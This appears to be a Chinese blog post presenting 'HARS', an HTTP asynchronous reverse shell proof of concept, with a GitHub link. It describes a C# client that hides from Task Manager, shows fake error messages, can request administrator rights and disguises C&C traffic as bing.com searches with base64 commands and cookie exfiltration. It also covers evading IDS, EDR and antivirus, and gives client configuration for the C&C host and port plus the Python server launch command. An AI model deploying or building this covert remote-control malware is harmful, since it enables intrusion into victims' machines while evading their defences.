使用 HTTP 协议的异步反向 shell

2021-12-27 11:33:09 浏览数 (1)

今天,有很多方法可以创建反向 shell,以便能够通过防火墙远程控制机器。事实上,传出连接并不总是被过滤掉。

然而,安全软件和硬件(IPS、IDS、代理、AV、EDR...)越来越强大,可以检测到这些攻击。大多数情况下,与反向 shell 的连接是通过 L4 TCP 隧道建立的。

我认为保持不被发现的最好方法是让它看起来像合法的流量。HTTP 协议(​​第 7 层)是标准用户使用最多的协议。此外,它几乎从不过滤,以免阻止对网站的访问。

这个POC的特殊性在于通信是完全异步的,并且只使用GET请求。

怎么运行的 ?

  1. 客户端应用程序在目标机器上执行。
  2. 客户端发起与服务器的连接。
  3. 服务器接受连接。

然后: - 客户端查询服务器直到它得到指令。 - 攻击者向服务器提供指令。 - 当一个命令被定义时,客户端执行它并返回结果。

依此类推,直到攻击者决定结束会话。

特征

今天,作为一个 poc,实现了以下功能:

  1. 在 bing.com 上显示为搜索的虚假 HTTP 流量。
  2. 命令在 HTML 响应中采用 base64 编码。
  3. 命令的结果由客户端以 base64 编码为 cookie。
  4. [可选] SSL 支持;默认情况下,它是一个伪造的 bing.com 证书。
  5. 每次客户端调用之间的随机延迟,以避免触发 IDS。
  6. 随机模板用于来自服务器的每个响应。
  7. 重复使用相同的 powershell 进程以避免触发 EDR。
  8. 支持所有 Cmd 和 Powershell 命令。
  9. [可选] 客户端可以在启动时显示假错误消息。
  10. 客户端对任务管理器隐藏。
  11. 【可选】客户端可以管理员身份运行。
AV检测

69 款产品中只有 3 款能够在不应用任何规避或混淆技术的情况下将客户端检测为恶意客户端。

配置

客户 : C Sharp

  1. 在 Visual Studio 中打开HARS.sln

配置文件

该文件包含参数;分配你想要的值:

代码语言:javascript复制
class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. rr Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

HARS.manifest

将此行更改为默认运行具有特定权限的客户端:

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

<requestedExecutionLevel level="asInvoker" uiAccess="false" /><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /><requestedExecutionLevel level="highestAvailable" uiAccess="false" />

项目属性

您可以在此处自定义文件的程序集信息和图标。

注意:目标 .NET 框架版本设置为 4.6,该版本在 Windows 10 中默认可用。 对于 Windows 7,如果您不想安装缺少的功能,请选择 .NET 3.5。

建造

从 Visual Studio 构建项目。客户端应该在Http Asynchronous Reverse ShellHARS_ClientHARSbinRelease文件夹中生成。

服务器:PythonHARS_Server.py 位置:Http Asynchronous Reverse ShellHARS_Serverwww

如果需要,只需在配置部分更改证书上的端口或位置。

代码语言:javascript复制
# Config
PORT = 443
CERT_FILE = '../server.pem'

python HARS_Server.py

笔记

-HTTP 日志位于Http Asynchronous Reverse ShellHARS_Serverlogs -您可以在其中添加您自己的模板(任何 html 页面)Http Asynchronous Reverse ShellHARS_Servertemplates

https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell

0 人点赞